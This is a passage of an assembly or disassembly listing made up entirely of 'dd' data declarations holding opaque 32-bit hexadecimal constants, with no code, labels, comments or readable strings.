		dd 64D90DFCh, 0B5940743h, 0C35F91DDh, 0FF5EAD26h, 0BDFDD1A1h
		dd 0AE7A0429h, 80420BA6h, 0AC9D8766h, 3A7C813Fh, 51101E7Eh
		dd 5228B525h, 0A5C07172h, 0EA6E2121h, 9D4CB721h, 9AF79354h
		dd 0FC080B99h, 0C1D9EA93h, 411F6640h, 645A4846h, 0F053D5B9h
		dd 305DA856h, 0DC7AC8E6h, 0DAC0A213h, 0F1F92C26h, 1594FC11h
		dd 0CABD543Fh, 9847F91Dh, 0C2F245CDh, 0F9E20994h, 0B01B21C9h
		dd 0CC8E583h, 99255C77h, 0AAD81BBDh, 0D6452FE4h, 9B697691h
		dd 0D113C2FCh, 0C39C2302h, 0A5C2B389h, 910D1242h, 6BC178C3h
		dd 0C971BFA3h, 658DBF81h, 6A0F40Eh, 8CD23CC7h, 998B4D82h
		dd 4777802Fh, 344B1414h, 68F80EFCh, 0AC6A2DC9h,	96CF2D9Ah
		dd 0F4D54618h, 0BE1E0144h, 96E6D79Bh, 914677B4h, 0EB182F88h
		dd 54C84D75h, 0DD224EC0h, 0ADBC2EFh, 805D8BA0h,	8516F61Eh
		dd 75415281h, 6EE916CEh, 6D79488Eh, 2105D5CDh, 28B88F6Eh
		dd 0EE6A126Ah, 8976F0F5h, 1AAAF5B3h, 99229AD8h,	0F4424423h
		dd 0BC852F43h, 4C6E0D7Bh, 0DFD6D8BCh, 4D081CF7h, 25956C67h
		dd 0C089B793h, 2E5E12DCh, 0FE22D836h, 125B900Ch, 0F331A265h
		dd 9393E9EAh, 913FFEF6h, 43A97F13h, 135E356Ch, 0B007C95Dh
		dd 0D092BC8Ch, 5CCC03C7h, 907AA227h, 422CFDDEh,	763BD637h
		dd 0C1A71A25h, 0A71D9AD3h, 0D0867CC4h, 0E7E74FEEh, 1E32DD9Dh
		dd 20DBD8F5h, 0CBD36F56h, 3A494ECDh, 0E548B214h, 33938780h
		dd 15296856h, 6095DC9Eh, 0AE0CBA8Dh, 139C45CFh,	4C831873h
		dd 39403622h, 0C1A0AA3Ch
		dd 0F5BA83E0h, 4ECF2446h, 0DCE74123h, 0BAEFA66Ch, 1E47A6E5h
		dd 69A689C3h, 0F89FDA9h, 73C6AB2Ah, 70699EA1h, 0AA225C49h
		dd 1949604Eh, 85522335h, 78006A8h, 64D7A419h, 551B55E0h
		dd 7705AA3Dh, 7A0DAE43h, 8181D45Ch, 0C88DCA52h,	0ADBB102Eh
		dd 702D3592h, 0A8BC0AABh, 0FF0F7891h, 0CA8A7DA2h, 795BC113h
		dd 1594C165h, 0BFC5C6BEh, 0E6289FC0h, 0CD05CCFAh, 99CA53D7h
		dd 75FC88CBh, 12570BD8h, 5545130Ch, 0E2F0192Bh,	0F2396F31h
		dd 987F7E71h, 85844EB2h, 6A706BCh, 0C1344552h, 62D7C80Fh
		dd 0D349151Fh, 0F8038F06h, 32F2B02Ah, 0CBE9FFD6h, 5FEDD13h
		dd 56D38A15h, 76237E3Fh, 389ADFCh, 0B7EE50CAh, 3CFB0278h
		dd 80F254E2h, 9D0D0F59h, 5306E109h, 8FEE2970h, 4BB77A3Ch
		dd 930AC64h, 558E25BAh,	2D72711Bh, 0E7305375h, 491F2475h
		dd 0EAA0BF76h, 36644CEBh, 0BEDD5366h, 5BABA6C0h, 975C402Ch
		dd 491DA5DCh, 0AC25B5D6h, 0F1E3F86Fh, 0A8ED9836h, 0ACCB658Fh
		dd 5EE52D5Dh, 279D5E73h, 0B5C7EDA2h, 0D7AB617Ah, 0A9CD16EEh
		dd 0F588318Eh, 8DA315FBh, 0DDF3EB4Bh, 0E3D0D3E0h, 0CE3AB64Bh
		dd 9980861Ah, 7C51483Ah, 0CF7F797Dh, 7C770489h,	382FB821h
		dd 253344A0h, 0BF89F093h, 0C23178ABh, 1207929Ah, 46EF69BFh
		dd 0FEF74BAh, 6C755E22h, 33E6C3D2h, 0F089FFA3h,	0F8D79302h
		dd 2EE86F5Dh, 7A2C9F2Ah, 0E5BE6EBDh, 0A8CA6C09h, 198FD0CBh
		dd 8A03381Ch, 9D6EAF19h, 0EA7E06A3h, 4C098306h,	0AF5A4DFDh
		dd 108C4FFFh, 28F398E9h, 0A4527AC7h, 0DD06E3AFh, 7C138360h
		dd 9C05E67Ah, 39A8EA29h, 14B7DB52h, 0C4F2042Fh,	0D8B3DC0Dh
		dd 6CC211CDh, 9F9B1FCAh, 9941AC34h, 0A1F5BEBAh,	2C385E23h
		dd 0BE0C74E5h, 0B95B6943h, 0ED94C9CAh, 0CD8E3570h, 0E1B3D839h
		dd 96725A6Ah, 0BDC42318h, 3623D8CBh, 5BB49DD3h,	9E14231Bh
		dd 5AE80EAAh, 0E5D0A693h, 0F948A1B1h, 7CAE6E4Eh, 9BCDE8F7h
		dd 0EB147122h, 1E5CDDA2h, 0D9BB6F7Ch, 99C86F4Ch, 0EE43876Dh
		dd 3B6812h, 22BD0E79h, 0B60DE763h, 81564548h, 726F91C9h
		dd 91996E3Ah, 579B0360h, 0D778085Bh, 8F54DC42h,	0F19D5F6Eh
		dd 21DC716Ch, 6DB6580Fh, 0BF37A11Ah, 354F8575h,	0EEADFDA0h
		dd 7D457B3Ch, 4AE34FABh, 0FCB282BEh, 4C6DDEE3h,	0BF318058h
		dd 0A1051EE8h, 6E913805h, 8CD1FD14h, 0BA531E54h, 620C6A2h
		dd 17F51DD3h, 14960F40h, 4CC7AD8Ch, 0E769064Dh,	8D05F2EDh
		dd 0A63DDD32h, 18919FD6h, 54A71BDBh, 976D1D92h,	4164293Fh
		dd 423E7556h, 0AA123491h, 346016D9h, 0E8140607h, 18007D15h
		dd 1F394F41h, 0A2A65385h, 0D21FB36Dh, 66D85390h, 147F473Ah
		dd 8752761Ah, 0D26AD67Fh, 8A9E3618h, 792BFEB7h,	5B017CEAh
		dd 0EC3A15E6h, 482E7087h, 7DB491B6h, 5834D28Ch,	362042F1h
		dd 9B70578Eh, 0F982A733h, 93554B68h, 870EAE1Ch,	74F3FC53h
		dd 410F62A5h, 52F295B1h, 69C1D09Ah, 0B320481Fh,	0A887D8EAh
		dd 1CDAAE52h, 0B91109ECh, 1F246B5Eh, 83B00735h,	10E2AA87h
		dd 3AD2CAD4h, 2AF2482Dh, 76131A5h, 22E1ECADh, 0A463465h
		dd 7EC335DFh, 0C7803827h, 56C3321Fh, 85AC096h, 5B55AF3h
		dd 0BFACACFh, 1AEC0133h, 9F6B18Bh, 8A6B1611h, 3DB3719Ch
		dd 11CC82C5h, 8D516406h, 6164A161h, 0B48EBC97h,	0F3D513FBh
		dd 836286F5h, 81369579h, 802EB229h, 4582E6A4h, 0A870CAF2h
		dd 2018E638h, 4CAA9164h, 0BA9946D2h, 110ED162h,	9E477D2Dh
		dd 1F82D62Dh, 0D366F8BDh, 295329E6h, 717DF1D6h,	0C7B2E352h
		dd 111DEA35h, 556A2FF6h, 5D7CB75Ah, 0B5AA2D5Dh,	57AB7B0Fh
		dd 699257A3h, 0C7797AF4h, 0FC94E464h, 677E0E69h, 0F7188666h
		dd 3A6B207Ch, 99B7943Eh, 91FD829Ch, 0D5F2A290h,	8B229C7Eh
		dd 0ADC0E0F5h, 2D48672Ah, 19DAAE2Fh, 8FA34F85h,	3B5D2452h
		dd 39830D73h, 0ECE612EBh, 72D9D3CCh, 3A129ACEh,	1FDC05CAh
		dd 5F9FF379h, 67012822h, 27C4B1C9h, 0C65C11CAh,	654659B2h
		dd 0AD3042A2h, 62E2D7D5h, 0B59C6D10h, 2D014765h, 2AE00E3Dh
		dd 3934D859h, 0CBEA2165h, 56D375C6h, 0D66F994Eh, 0D6539466h
		dd 25EE113Fh, 0DE75B90Dh, 0BAAB5B9Fh, 74DB8A51h, 574CF2A8h
		dd 0F1D96D6Dh, 1DDBC0F0h, 7690636Eh, 85CA059Bh,	0DDE584D9h
		dd 0A01B0F05h, 63078575h, 95EB076Bh, 917D1F53h,	8A935A7Ah
		dd 0C706B31h, 0A02C38E7h, 2348308h, 0A03FC8ABh,	0BD1285CBh
		dd 57987ED2h, 0CFFECDA0h, 94E1936h, 0D02414A9h,	5642EB17h
		dd 0D47274BAh, 9DFB4A05h, 704F23D9h, 0E790BAE9h, 0F52BDE3Dh
		dd 65D20751h, 15AA8175h, 857C78B9h, 0EF304A13h,	41D44899h
		dd 859C6249h, 70DD0F67h, 4993E8CBh, 0B77322AFh,	0F119E070h
		dd 0FC70B2D6h, 0F25E51D7h, 8AE6DD54h, 0EB8D3AE6h, 540417E2h
		dd 0E72E0034h, 2F370050h, 0D28CC6A6h, 0A93E1346h, 0D755F384h
		dd 6B3DBAB3h, 9C183172h, 6346A41h, 26447448h, 0DA35D322h
		dd 0F0206FF2h, 97761B32h, 0BC58C664h, 70529CDDh, 38B46EDBh
		dd 5374210h, 0AE8BAA6Ch, 72BB958Dh, 2A76C2ABh, 6F47DC96h
		dd 21B7AA93h, 0E043788Bh, 682C7686h, 0DF9E3496h, 0A90AAC96h
		dd 0FB706978h, 13821A47h, 1AACF769h, 36F404E2h,	29D05470h
		dd 9E3C3752h, 916EE34Fh, 6B8D705Ch, 54ECEF71h, 62F30ABAh
		dd 0E5526965h, 0F2B6CC16h, 0F967D14h, 56E894DBh, 0AC97E0BFh
		dd 0F78B3F47h, 0C6A3EAB6h, 2D8407BAh, 0FE908462h, 7F6BDB3h
		dd 0A01F49E6h, 0D71AF44h, 0D48F6155h, 0BD316F3Ch, 827452FCh
		dd 0BBCE065Bh, 15CF0D55h, 0F3D2EEC9h, 764C71E2h, 957F3199h
		dd 34CC2C68h, 881BE0BFh, 188B5E1Fh, 56A9FA14h, 5948C083h
		dd 0ECFCB7DCh, 46E54464h, 1DDA2089h, 38426CC1h,	0ACD448D0h
		dd 0CC3DCC2h, 988EFD2h,	0E3FCA6B1h, 0BB5EECEDh,	209F25A8h
		dd 826733CCh, 29CD92E2h, 6E7E01D2h, 0D56036D3h,	6AC75075h
		dd 0C585C40Fh, 8969B0E0h, 966A63D6h, 3E59EC2Ah,	752BFD3Bh
		dd 7D7B2907h, 350B3955h, 62C10D32h, 1ECFD48Ah, 0FDFDFA41h
		dd 62706FEEh, 0DFC7580Ah, 0B6F3A21h, 0DB99182Eh, 0BC37EC30h
		dd 96F3D62Fh, 99EE50B7h, 57979BD1h, 56CCB16Ah, 0E8E5D435h
		dd 0E74DCEE5h, 87CD584Ch, 0A43DE3F7h, 0FB10C55Dh, 0A3E7DC23h
		dd 8C832F7Dh, 5CB90750h, 0BC38050h, 7133DA3Bh, 6E6AFD34h
		dd 89F2041Ah, 0EFF113BEh, 15FC2FE5h, 14854133h,	0A3BA0F50h
		dd 9C5553C5h, 43C4616Bh, 0CF30B107h, 71262630h,	0DE91642Ch
		dd 804BFAAEh, 0D9418A7Fh, 0F29697ACh, 21DF9BF2h, 30C2C362h
		dd 0BB0398F7h, 645713A4h, 0AC0AD5F2h, 4485D7E5h, 4CD8D7B0h
		dd 4310DE66h, 2D79DB97h, 26CD0CDFh, 7B8F0E9Eh, 0F4CFA3B0h
		dd 791CBEA4h, 4B514B1Ch, 0F6B2130Ah, 0AD4F103Bh, 0B4A758E5h
		dd 9C3BFB3Dh, 7DA19E35h, 8E4A559Ah, 2C6407EAh, 29ED1DA5h
		dd 0BC82D59Dh, 0ED1F1BE6h, 7966BF8h, 5831847Dh,	267F9EBFh
		dd 7AA64F9Ah, 0C893F707h, 7733B311h, 7AC8AA28h,	94303DC4h
		dd 4337F12Dh, 84A02A6Eh, 6BB13532h, 6ECB1CD5h, 2E87A5DCh
		dd 0A4D8ECF6h, 9E68929Ah, 8E5DAA3Ch, 987D2114h,	1A4A6F10h
		dd 0EAAD6739h, 0D8F3FCB0h, 2691526Bh, 0AA15A814h, 5571FE71h
		dd 3CD91212h, 802FC195h, 4C0C753Eh, 0B3332951h,	8C11185Ah
		dd 5A9B304Dh, 88D85197h, 0E89444BFh, 0CA39F9F6h, 0B3C15FD2h
		dd 0B75E3C2Dh, 1E441BC3h, 331AE6E5h, 5136C4D0h,	823FF404h
		dd 0C7CB4896h, 0B86BA3FBh
		dd 13EF8ABBh, 0F449CDD6h, 0EDE4C460h, 447FBC23h, 9D73B70Ch
		dd 0B55C7B18h, 5EACA887h, 5DE3C387h, 0D31F8AFBh, 3ED15CC6h
		dd 7EFFDCA2h, 23D1F9B2h, 0EF16B8D8h, 86404CC5h,	9B4C10BAh
		dd 889396BBh, 4FCF7299h, 0F331C4A2h, 768DC386h,	10FCB243h
		dd 3851A274h, 2A0094B3h, 0F31DCEEAh, 85B3B682h,	6E0894CDh
		dd 0FD014711h, 3E7EB408h, 78C6ACA5h, 2E05BAC8h,	29EBB84Fh
		dd 7E74F5A5h, 72C74A6h,	3C12E2B7h, 5B4B71D5h, 55B549EBh
		dd 0FF96144Eh, 0BB50DF6Fh, 15C68692h, 0ED6965FEh, 0D7C4471Dh
		dd 0A26515E2h, 16A0871Ch, 0F9BD7851h, 226844E4h, 592B440Dh
		dd 0E6F848E1h, 0C13300CAh, 0A99A3FA5h, 117F8513h, 0E9A88ADEh
		dd 34FA1AEAh, 72CA0190h, 5C17F2B6h, 549A5B4Fh, 0BFB75FEEh
		dd 7953F9F5h, 0D58922BBh, 0A6B968E6h, 0E8C1DBB8h, 0D9F0ECDh
		dd 84C90425h, 92AFAD2h,	0F08DBB78h, 0C309757Bh,	0E596858Ch
		dd 58D29Eh, 9EFC07Fh, 0A42EC86Ch, 6222E98Eh, 707BB985h
		dd 31ADD8DAh, 4DDC859Bh, 0C50FBF3Ah, 3872549Dh,	8707E3D9h
		dd 0B6A5E7D6h, 5A1A3659h, 931C1748h, 0E5BECE2h,	4581A3F5h
		dd 49F1D205h, 63A0E385h, 71C1A678h, 0C01E9A5Ah,	7DEC3FAFh
		dd 29A2608Eh, 0BB27759Fh, 0D62440D2h, 9E63942Fh, 21C14476h
		dd 0CECBECECh, 243A0489h, 0D07A0383h, 0F0BEFFFFh, 0DBB17AE1h
		dd 62679617h, 8A58A2D2h, 0DA540D8Ch, 21591BE0h,	0F13CD771h
		dd 8DE2A5B3h, 0EC3AB9E1h, 0D16109BFh, 0DF580E41h, 0A6424D93h
		dd 97C89F1Eh, 0C61D5B33h, 0C495EBF2h, 0DAE7C35Eh, 92F93FC4h
		dd 81AD9D5h, 6223F10Bh,	6F540A9h, 4A0B21E8h, 26A780E2h
		dd 0F956CC06h, 0A5C75E8Ah, 0FC5D2CD2h, 2CA2E237h, 0D4BDBCF7h
		dd 75D3A7FDh, 4FFCE5ADh, 0F1B2E6A3h, 0E66F1F9Ah, 97421003h
		dd 93F7802Dh, 814A2AFBh, 3FEAC9CAh, 4ABA8FB3h, 562D5962h
		dd 9C6A9137h, 836E3411h, 99D24DD6h, 0A096384Ah,	37AC5714h
		dd 0AC61950Bh, 0D13A5A39h, 0F95BD337h, 0F9A607Dh, 0F337EB68h
		dd 393F72Ch, 7C8EEA78h,	0F7B50D15h, 0F32F595Eh,	1851F11Ch
		dd 6927029Fh, 0B08C5228h, 0CDEAEF26h, 6DF88D49h, 29F924CEh
		dd 7FE0D572h, 3FFF27C4h, 3362FFA7h, 6550E7E3h, 9E8A6D0Ch
		dd 7DB6A015h, 2F1A02E4h, 0EB4924FAh, 11FFFBDDh,	1E6A1489h
		dd 62F0F65Bh, 76EA79BFh, 9AA9A1CEh, 43F6931h, 8D145C19h
		dd 0FC2EAC7Eh, 357DDEFAh, 0D8D84EB3h, 11F6AC62h, 13A32F07h
		dd 0F957C34Eh, 0CF20B3ACh, 0BA68C44Bh, 0D680F262h, 0FCFECE36h
		dd 0C290650h, 37F0D9Bh,	2F99F6CDh, 646B3D7Fh, 9E062ADBh
		dd 0D13D10D3h, 0FCE86E14h, 0B8AAA2B8h, 1C9CD75Dh, 9259C305h
		dd 0F3B9FC68h, 1871D03Dh, 91914979h, 0FE4A3727h, 8A828F29h
		dd 57C40CF9h, 0BD652109h, 0E6DC974Fh, 2D39D347h, 39E292FCh
		dd 4C67C12Bh, 18E0D0F3h, 2E7A4C78h, 2BA32FA7h, 0AF5BEDC3h
		dd 0E9D780C1h, 3BBA81CFh, 6BCE03D9h, 2C691038h,	51FBB12Bh
		dd 6724463h, 0CA49D596h, 0E9EEB739h, 0CC131D00h, 0B43C320Fh
		dd 704B4945h, 5335CA5Ah, 7ECF6044h, 0D66D6744h,	7C11D5EDh
		dd 61FF41A9h, 0D2281E2Dh, 0AC07977Bh, 0DEF764F2h, 5C08FE2Eh
		dd 516B0C25h, 0A3CB5837h, 477EB863h, 2F648FA0h,	0F7E453C8h
		dd 0C21F2B35h, 0AD42A49h, 0FDAEEACAh, 0C4EE9389h, 218524C3h
		dd 541A1B79h, 58587150h, 5F4796D8h, 13305457h, 306A548Eh
		dd 1612FA2Fh, 0BB42AC7h, 0A80D4BFAh, 30F982EDh,	25213CA7h
		dd 4C423296h, 8A89E1C9h, 320729E6h, 0EEFA0C8h, 2DD1DF75h
		dd 79CF27D0h, 0ADAAD770h, 1845194Ah, 7556A6FCh,	0AC386C29h
		dd 16486F58h, 861A2D60h, 67BD74C8h, 74829E11h, 84875F2h
		dd 0C195EA73h, 6C02054Fh, 0DBC62C63h, 69769931h, 0B83AC86Ah
		dd 2BABE15Ah, 8A7F38C1h, 3AA354E3h, 8CD2C597h, 680D1DD7h
		dd 0C8CE374Ah, 8059B21h, 88C54A4Dh, 0EA8BF3D1h,	0E343B48h
		dd 893CF312h, 0D96CA9B0h, 0AD068DB8h, 1D728532h, 71899E4Dh
		dd 9D92C5C9h, 7C1868A1h, 55B55463h, 70156F08h, 90709C79h
		dd 15834452h, 0A1CAC23Fh, 1FB721C1h, 0DE76A578h, 3684EF2Eh
		dd 0B083DC7Bh, 0A79E906Dh, 9A6F1D28h, 92B92EDFh, 0E78586BCh
		dd 465D2ACBh, 0FC1D9FB8h, 0C2C5D930h, 6023985Ah, 0E78FEFA8h
		dd 0CA5E8FBCh, 21FF8465h, 5529300Dh, 682D2AEh, 1158FA18h
		dd 1FF3D149h, 0B20FA324h, 348BD070h, 5628C046h,	610304ECh
		dd 0C182B2DDh, 6B7650E7h, 7F1AE831h, 2E94DB81h,	0B8B4CEFDh
		dd 0B4B25BBEh, 42A76E29h, 5528D3B6h, 0E79F5042h, 2045DB2Bh
		dd 0B5106BE1h, 0BCC945FCh, 6309C97Ch, 9EC8BE82h, 355EE7Dh
		dd 2A85F04Eh, 6FDD4667h, 0CE871179h, 0D27BBE51h, 0E8171633h
		dd 0C360C739h, 0C2D5DC0Bh, 8BE20814h, 0D369B262h, 5685969Dh
		dd 0E6DFD5DBh, 0ECC9B7C7h, 9F02C914h, 83E1EAC1h, 0C7C56F67h
		dd 687CC58h, 86CCF572h,	0D6C2AE87h, 3D206657h, 818A3910h
		dd 2CD02B34h, 8681219Ch, 72EDD2F7h, 0C6ABCF6Dh,	0E3BA7DBEh
		dd 818738EFh, 5A3A63E0h, 875226FFh, 15F2D76Fh, 2CCCAA8Ch
		dd 4D7DBAF2h, 10E25876h, 9A4AED1h, 0CC584831h, 37015F6Bh
		dd 0FFF00FF8h, 6FF809C4h, 1952F9D5h, 2B850B69h,	0ACD58B88h
		dd 8CDF55E7h, 0D3AF4F12h, 0C54037BCh, 458D63E6h, 85CD33C4h
		dd 0B2D4D3FBh, 0B834B3FDh, 0DED72113h, 6F09EBAAh, 3930ED7Dh
		dd 0C7CE5531h, 48AF9E6Ch, 0A566D07Ah, 0AD77338Ah, 945F1A4Bh
		dd 98C0BE09h, 35A2DA94h, 0F38AEFFEh, 2D559BCDh,	3CFBA625h
		dd 5530D214h, 327C3ED6h, 8362AD8Bh, 84DDAD2Eh, 0A183040Eh
		dd 0F2943263h, 730B9504h, 352335D3h, 23D660EAh,	4D8316DCh
		dd 7FA6AC3Eh, 841C856Bh, 2EFADE68h, 0BC4EEC3Fh,	0ADE99AAEh
		dd 0F8710539h, 8FB4DFD0h, 0E8BF1EC5h, 6C171CAFh, 0FF913B25h
		dd 1F1B935Dh, 1D6A896Bh, 240810A0h, 28FF3F7Bh, 7CDE88CDh
		dd 0A57D037Fh, 80698673h, 55F54CDBh, 1BE7F12Bh,	75044770h
		dd 0FD77C467h, 18A43299h, 0E279BDCBh, 0C033BA15h, 0DE312AE6h
		dd 6F2FE512h, 0A525BA36h, 0B17FF442h, 0FF805EBBh, 7F7712BDh
		dd 96294E13h, 7829ECCDh, 1777176Ch, 3F271E6Ch, 0F516C602h
		dd 5F266FEBh, 797558E7h, 215D98F6h, 6E179B03h, 0B1696461h
		dd 496DDF35h, 4996E74Ah, 6F7DAF6Ch, 4467A61Dh, 0D693CEA8h
		dd 2AF1568Bh, 26314CBDh, 5EE30A1h, 0B4E35253h, 0D2C4A02Fh
		dd 18DC3804h, 47B7E38Eh, 0E619B682h, 0A1015E48h, 3859F4A8h
		dd 0FC67FFDBh, 0DC58CAF0h, 57D6C904h, 0D489D81Eh, 8C751BCEh
		dd 0C07518DAh, 7E464127h, 5066E805h, 190AC7DBh,	0A434DE5Eh
		dd 0F1296FF3h, 4D108F03h, 0D5E9FFCFh, 0B32263A2h, 3717C341h
		dd 6C498C5Bh, 0EA4CE79Ch, 0FA3134FAh, 0DA8EAC4h, 16132C89h
		dd 0E774E843h, 71F70Dh,	29CC15F4h, 8BBA572Ah, 0EA010A6Dh
		dd 73CFE570h, 15210453h, 0D3E7FE7Bh, 7096CE54h,	0A6739704h
		dd 8FA7448Ch, 0C67BB5C7h, 3ABE1F9Dh, 0B710EA87h, 2F8780FCh
		dd 9A64BF0Fh, 0DC4A030Ch, 9720A305h, 0C2099CE8h, 0BFEC0200h
		dd 316501ADh, 0CE0F6463h, 0F0166B3Ah, 35C6796h,	60717017h
		dd 8C90487Ah, 21292E61h, 398A9A0Ch, 0ACF0D3F5h,	7C170ABDh
		dd 95638412h, 9A5327C3h, 45833773h, 267FF951h, 3481AE68h
		dd 0D97B7A66h, 77BC2115h, 6B1FDDB0h, 566734E1h,	3A9479ECh
		dd 57BD5F46h, 0D3DE19Bh, 0BE8DBF80h, 11C97251h,	6F7F1200h
		dd 65C4CE2h, 9A684ABFh
		dd 5BFE3649h, 60F2A05Ah, 9899F8FEh, 0F942C3BFh,	0CD49E02Bh
		dd 17043E9Ch, 30748D21h, 48DBC554h, 18CD9F1Dh, 0FAA4A4CEh
		dd 0FB98845Ch, 67625C1Fh, 375C0355h, 0F9C36E03h, 2A1752E5h
		dd 92E037F1h, 0E309F499h, 0D97286B0h, 0FC9FEF04h, 0B7CE8C87h
		dd 0CFF5150h, 200754E0h, 74A70171h, 0DA238C64h,	0F779571Dh
		dd 48F71EF5h, 0B18B9C0Fh, 850D8DA9h, 337AC3DBh,	39CCDE1Ah
		dd 66F031CCh, 0EF19B7E9h, 8F5B5DDFh, 5AB1BEF3h,	0F1395F8Dh
		dd 0BF4A6398h, 0C3B0EB3Bh, 0F137EDB6h, 188E7BC2h, 0D7C6BB8Bh
		dd 90F8ECC7h, 3F090C05h, 17985119h, 6EDC2A2Dh, 0BEEB73A2h
		dd 7C0C5809h, 0F76AE434h, 769267AFh, 1DBDB7FAh,	0BFCE865Dh
		dd 0A48BC9E2h, 576B968h, 21FD787Ch, 2F8A993h, 60F323C8h
		dd 0D80D6E25h, 0DAA79A36h, 59DD4029h, 0D2489F6Bh, 499372CDh
		dd 0AB2D4800h, 320E58CCh, 33044EFh, 0ECFC07DBh,	49EC330Ah
		dd 0C5F4A4C1h, 6F939106h, 45C4BB02h, 0BAD97FB7h, 0E7CB3960h
		dd 0B33528F4h, 84DB0644h, 78BCA65h, 0E4E2893h, 0D3578551h
		dd 59245BFh, 9828C5D6h,	0B9C435B7h, 0D4D19CCBh,	72620BFh
		dd 5126238Ch, 0E8E1196Bh, 649C847Dh, 51DC03CAh,	0D5DD42FCh
		dd 0D457EE2Ch, 0F7B654FBh, 0F33D4CD9h, 26157562h, 0FAE50F6Eh
		dd 4673D95Dh, 9C6DBB16h, 50E11E3h, 0B30C0FD7h, 5ADBB6BCh
		dd 0EBE6A091h, 0FDE44470h, 7FFA723Eh, 0F6652C98h, 430C19A5h
		dd 6BA020B8h, 463915C5h, 745B909Ch, 0DE1085FCh,	0F452FDDCh
		dd 35391A6Fh, 608386Ah,	0F09A8C17h, 981D6662h, 750D6E62h
		dd 86EA4E8Dh, 735F9320h, 0E31D25DAh, 40A3197Dh,	0A8CB4E33h
		dd 705B4058h, 5DEAFDCAh, 0B9D52CE4h, 94E00F51h,	0E96CC50Fh
		dd 6AAA4E61h, 49E7BA09h, 0FF0B051Dh, 57E612F0h,	5C83BD03h
		dd 9137F0C8h, 0B1316Fh,	7C15EC2Bh, 44FA7B43h, 364B826Ch
		dd 5F0D7072h, 4C27B00Ah, 0F8F8357h, 0A33546A5h,	764AA517h
		dd 5F2BBA8Dh, 0AC781AAAh, 95B52CD2h, 0CBBD2E53h, 49EE5B17h
		dd 0D1582828h, 43C16643h, 3D0461E1h, 0D42CDD56h, 25C4C52Ah
		dd 5DFF3137h, 960F128h,	0D451DF59h, 46D1163h, 0B13F55AEh
		dd 784DFDD4h, 100F4089h, 0BE1717DAh, 0BE136BECh, 1BFE31FFh
		dd 64F99C23h, 37F69796h, 0B745C336h, 69EB80E6h,	9AAC4D99h
		dd 1B0B96E4h, 0B826F77Fh, 4AD02754h, 0A704E5ECh, 1D62227Bh
		dd 10ED68E6h, 643A8BBDh, 58636B16h, 0E60B527Bh,	50F176E4h
		dd 65A9237Bh, 7B010F6Ah, 0C61D8DCCh, 0BA714AE1h, 1D6BD932h
		dd 805991EAh, 0BE70C4F2h, 3D4CE49Bh, 0AED4D77Bh, 707EBCB7h
		dd 0BCA9D831h, 771323DEh, 9290A20Dh, 0BB0E96D9h, 11A799A6h
		dd 0CD293723h, 11077364h, 4A9EDB04h, 64064F0Bh,	157D5BCFh
		dd 0C3806B73h, 9D451706h, 2E5868AAh, 3631114Eh,	0AFA10C37h
		dd 4D2852DEh, 0FCFF023h, 0E6A7A0A9h, 0F67D4E94h, 846E058Dh
		dd 860B7738h, 0A63AE3FEh, 96C7C352h, 0A381803Fh, 0D7A791C6h
		dd 0F64447FAh, 33BE57E4h, 0E22A6EB0h, 0A88FA1F3h, 0AF4B2742h
		dd 31E98C55h, 5045FCB6h, 68155B04h, 5E3CD166h, 4E28ABCh
		dd 0DE415885h, 570B0C7Bh, 789160E5h, 0DD012A6Ch, 13A9B155h
		dd 0AC080CFEh, 0F1C0CE2Eh, 43AC7B3h, 0A764A318h, 1AAD4EE0h
		dd 166FAA53h, 5FBB50E5h, 0C413BC03h, 9350677Ah,	0FD2166D4h
		dd 592A1131h, 97EE07E1h, 8F4748EAh, 909836F5h, 7A2BFDF2h
		dd 7477F0F3h, 580D0C3h,	0F5F9EDE5h, 40631565h, 835B1EA6h
		dd 0F59186CCh, 35B75F34h, 7C584EDEh, 80373BC9h,	0A3DAADCBh
		dd 0A18BD136h, 9A42A09Dh, 548EE05Ah, 27240DE8h,	1EAC9A43h
		dd 38C406DFh, 7FEA1A96h, 0B5DBBB73h, 397D583Fh,	494DB7E2h
		dd 529AD080h, 63A9E712h, 843695EFh, 0C2F287DEh,	8C69A95Bh
		dd 3E009E9Eh, 0BABAA46Bh, 0BB82EDEEh, 0CC8F4E7Eh, 52FBD5E4h
		dd 5A388500h, 0C4A65A6Fh, 0FE844BEh, 0DD81B8D3h, 7549A87Bh
		dd 4E26F7D1h, 5F9CDA34h, 0A6C38FD8h, 0B25B01A9h, 8253B449h
		dd 0C4A5B069h, 3A155B14h, 0DF7E9987h, 0F3B0D20Eh, 0AA1A7305h
		dd 7B10AA25h, 5E0DD3AAh, 8EFEB13Dh, 94633065h, 1D693345h
		dd 810A8EE4h, 3B9069A4h, 24A7EC9Dh, 22FC85A8h, 3B9A93FBh
		dd 7953ACCDh, 4D156494h, 62CC158Dh, 0F7A5F98Bh,	54BB0ABh
		dd 25688B62h, 0A7B6D444h, 0FBA1BB0Dh, 0D945303Eh, 7D60B2FDh
		dd 4913B0C1h, 7B3707A4h, 0D4E2D024h, 6C0DDAA7h,	5283C98h
		dd 0AE23AA17h, 316E38ACh, 782341E5h, 39851C56h,	3882275Dh
		dd 0EEC04112h, 5AF17DDAh, 60D69D29h, 6CBD7699h,	0FFC406F3h
		dd 9096572Dh, 20965B19h, 0FDC780F7h, 0DF21A2E2h, 183EF6D5h
		dd 34903B0Bh, 8FAC6E7Eh, 86A6045Fh, 0DF6848ECh,	0C9E81FDFh
		dd 0EE4B3A0Eh, 59DEA19Ch, 63B7D8FFh, 467B428h, 0A8328652h
		dd 76E61BD1h, 0D392033Ah, 62363516h, 0BF31E8B5h, 775A3BA2h
		dd 0C77BF358h, 0FB2DD567h, 6E2B630Eh, 10829FCh,	52AE28E1h
		dd 0EB416E28h, 8AB3E4FCh, 10F98860h, 1C256B8Ah,	439D5EF1h
		dd 0AD553BC6h, 0AF99ECD2h, 0ECA0492Ch, 30F218h,	5213826h
		dd 1DA3CCBAh, 4367EC1Ch, 12CCFFE7h, 593A6C80h, 610BAC13h
		dd 0BB7960FCh, 3C478FBFh, 76AB2641h, 13AC92A7h,	0C00A0AB0h
		dd 749B138h, 0F5F16575h, 887BFB60h, 58B92B62h, 0CFC2874Ch
		dd 0B17ED857h, 6B293FBDh, 0F1155630h, 1BF6B40Bh, 346B0676h
		dd 551FA473h, 0A5EC699h, 6DA9F94Fh, 770EAE27h, 0A087330Bh
		dd 57F3E7CFh, 0B1AA653Ah, 80C27B69h, 0AD472A9Ah, 0AD19D2D4h
		dd 0CFC7596Fh, 0DAF223A0h, 0B87A9AADh, 8F290A4Eh, 35846A35h
		dd 9BE67C11h, 6F5B047Fh, 9EF608E2h, 0FBE7829Bh,	0B51D0042h
